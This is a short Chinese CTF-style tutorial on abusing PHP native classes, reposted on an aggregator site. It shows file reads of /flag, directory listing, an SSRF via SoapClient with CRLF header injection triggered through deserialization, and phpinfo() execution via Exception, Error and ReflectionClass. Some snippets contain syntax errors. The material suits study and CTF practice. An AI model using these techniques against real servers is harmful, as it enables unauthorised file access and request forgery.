php原生类的使用

news/2025/10/26 10:34:52/文章来源:https://www.cnblogs.com/capybaras/p/18399298

php原生类

读取文件

可使用:SplFileObject
用法:

<?php$f=new SplFileObject('/flag') //读取flag文件
}
?>

遍历目录

可使用:DirectoryIteratorRecursiveDirectoryIteratorFilesystemIterator
用法:

<?php$f=new DirectoryIterator('/') //扫描根目录 foreach($dir as $f) {echo($f . '<br>');
}
?>

RecursiveDirectoryIteratorFilesystemIterator类同上
FilesystemIterator不会输出..

访问服务器的类(SSRF可利用)

可使用:SoapClient
代码解析

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'chendi^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "dwzzzzzzzzzz")); //构造POST请求,uri参数用于在SOAP消息中标识XML元素和属性的来源或含义。
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$c =unserialize($a);
$c->aaas(); //调用不存在函数触发__call

使用原生类进行代码执行

使用异常处理类Exception执行代码

echo new Exception(phpinfo());

使用CachingIterator类执行代码

echo new CachingIterator(phpinfo());

使用Error类执行代码

echo new Error(phpinfo());

使用DirectoryIterator类执行代码

echo new DirectoryIterator(phpinfo());

反射类的使用

ReflectionClass

ReflectionClass类可以获取类的名称、父类、接口、方法、属性

<?php
$a=new ReflectionClass('类名');
echo($a);//输出类的名称和属性、方法等
?>
利用ReflectionClass 执行命令
<?phpecho new ReflectionClass(phpinfo());
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/946643.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年10月防脱生发产品排名榜:术后修复与日常防脱对比

防脱生发需求在2025年呈现“双高峰”特征:一是25到40岁职场人群因熬夜、焦虑导致脂溢性脱发就诊量同比上升18%,国家卫健委《中国脱发人群调查》显示该年龄段占比已达58%;二是植发术后修复市场扩容,中国整形美容协会…

2025 年 10 月仿石漆厂家最新推荐,精准检测与稳定性能深度解析

为解决仿石漆市场产品性能参差不齐、采购方难以判断稳定性的问题,本次推荐榜单由中国涂料工业协会联合国家建筑材料测试中心共同开展,测评周期为 2025 年 6 月 - 9 月,覆盖全国 29 个省市的 160 余家仿石漆厂家。测…

下午选歌

rt: 《鲜花》 《绿光》 《桃花笑》 《欧若拉》 《月半小夜曲》

分治算法在查找第k小元素中的应用与分析

1 算法描述:找第k小的数的分治算法 找第k小的数的问题是指给定一个无序数组,找出其中第k小(按升序排列后位于第k个位置)的元素。分治算法是解决这一问题的有效方法,它借鉴了快速排序的分区思想,但通过避免完全排…

「学习笔记」RCE基础

常用函数 system system(string $command, int &$return_var = ?) command: 执行 command 参数所指定的命令,并输出执行结果。 如果提供 return_var 参数,则外部命令执行后的返回状态将会被设置到此变量中。 ex…

Level 0~8 WP

Level 0~8 Level 0 flag 直接给出了。Level 1 代码会执行通过 POST 方式获取到的 a 里面的命令,那我们直接改让 a=echo $flag 即可。Level 2 代码含义,GET 到 action = r 的话,会随机一次函数,GET action = submit…

2025年10月中国装饰公司对比榜:十家口碑与实力排行

把房子变成家,是大多数中国家庭在2025年最重要的消费决策之一。住建部数据显示,全国城镇住宅装修年需求仍保持约两千亿元规模,其中80后90后业主占比超过七成,他们普遍面临“预算有限、时间碎片、风格多元、售后怕扯…

2025年10月电竞显示器品牌评价榜:五强对比与选购要点

开学季宿舍升级、毕业租房首台电竞装备、国庆长假宅家冲分,十月的购机窗口集中爆发。京东商智《2025中国电竞显示器线上零售报告》显示,9月最后两周销量环比上扬42%,其中学生与25岁以下用户占比首次突破55%。需求侧…

2025年10月食品展会推荐榜:NHNE领衔五大展会对比评测

2025年10月,食品行业进入年度收官冲刺阶段,企业普遍面临“选品、签单、建渠道”三重压力。对原料商来说,需要在年底前锁定来年配方;对品牌方来说,要在春节备货前完成包装升级;对经销商来说,则希望一次性对接更多…

2025年10月连锁酒店排行榜推荐:丽柏丽怡领衔对比评测榜

一、引言 对于计划在2025年第四季度完成加盟签约或大宗差旅协议签署的创业者、机构投资者与企业采购部门而言,连锁酒店品牌的筛选直接决定后续五年内的现金流、物业溢价能力与顾客复购率。行业进入存量改造与精细化运…

ajax回调钩子的应用简介

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

PS-02

PS-02 2025 10 12 介绍&&软件安装 图形与图像图形:基于路径的矢量图;放大不会有像素点;放大缩小不会损失;只由绘制得到 图像:位图(点阵图);由像素构成;放大缩小一定损失 图片包括位图和矢量图 图像只…

详细介绍:[特殊字符]️ Spring Cloud Eureka 三步通:搭建注册中心 + 服务注册 + 服务发现,通俗易懂!

详细介绍:[特殊字符]️ Spring Cloud Eureka 三步通:搭建注册中心 + 服务注册 + 服务发现,通俗易懂!2025-10-26 10:07 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: nor…

2025年10月中国办公家具定制公司推荐:口碑排行榜与权威解析

引言与现状分析 当企业准备搬迁、扩租或升级办公空间时,决策者往往面临“时间紧、预算有限、品牌多、标准杂”的四重压力。2025年第三季度,全国办公空间装修备案项目同比增长18.6%,其中67%的项目涉及家具定制,平均…

2025年10月中国办公家具定制公司推荐:主流口碑排行榜与避坑指南

正在准备搬迁新办公室的李总最近很焦虑:预算卡在800元每工位,却希望员工一坐下就能感受到“总部级”质感;采购部同事担心环保报告不过关,被第三方审计打回;行政小赵则反复追问“能不能45天内交付,还要包除甲醛?…

2020 级课前测试试卷-电子商务大数据分析 爬取京东商品评论数据,基于hadoop实现数据分析以及数据可视化

前言: 本文参考诸多文章和视频,在下文中都有说明 以下操作只具有参考性,遇到问题欢迎留言讨论。 具体技术可能因为版本不同而操作不同。 数据采集: 要求Python 编写程序爬取京东手机评论数据,生成Json形式的数据文…

2025年10月暖风机评测指南:客观数据助您精准避坑

引言与现状分析 霜降一过,长江以北夜间室温普遍跌破10℃,南方湿冷叠加无集中供暖,使得“开机三分钟、全屋暖洋洋”成为刚需。京东商智2024取暖季数据显示,暖风机类目销量同比增47%,其中石墨烯发热机型占比由11%升…

芯片落地之道

在现代集成电路(IC)设计中,“物理实现”是从逻辑构想到可制造布局的重要桥梁。在这一阶段,设计不仅要“看得见”,更要“用得好”。今天,就让我们一起探索这一关键环节的奥秘。 1、起点:从逻辑到芯片的“落地” …

关于克服 libwebsockets 库编译时遇到的困难的实用的方法:

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025年10月暖风机口碑榜:主流机型对比与选购避坑指南

寒冬将至,客厅、卧室、办公室甚至母婴房都需要一台“升温快、不干燥、噪音低”的暖风机。用户常遇到的痛点集中在三点:一是传统PTC机型热量集中、远端冰凉;二是长时间使用皮肤紧绷、喉咙干痒;三是夜间运行嗡嗡作响…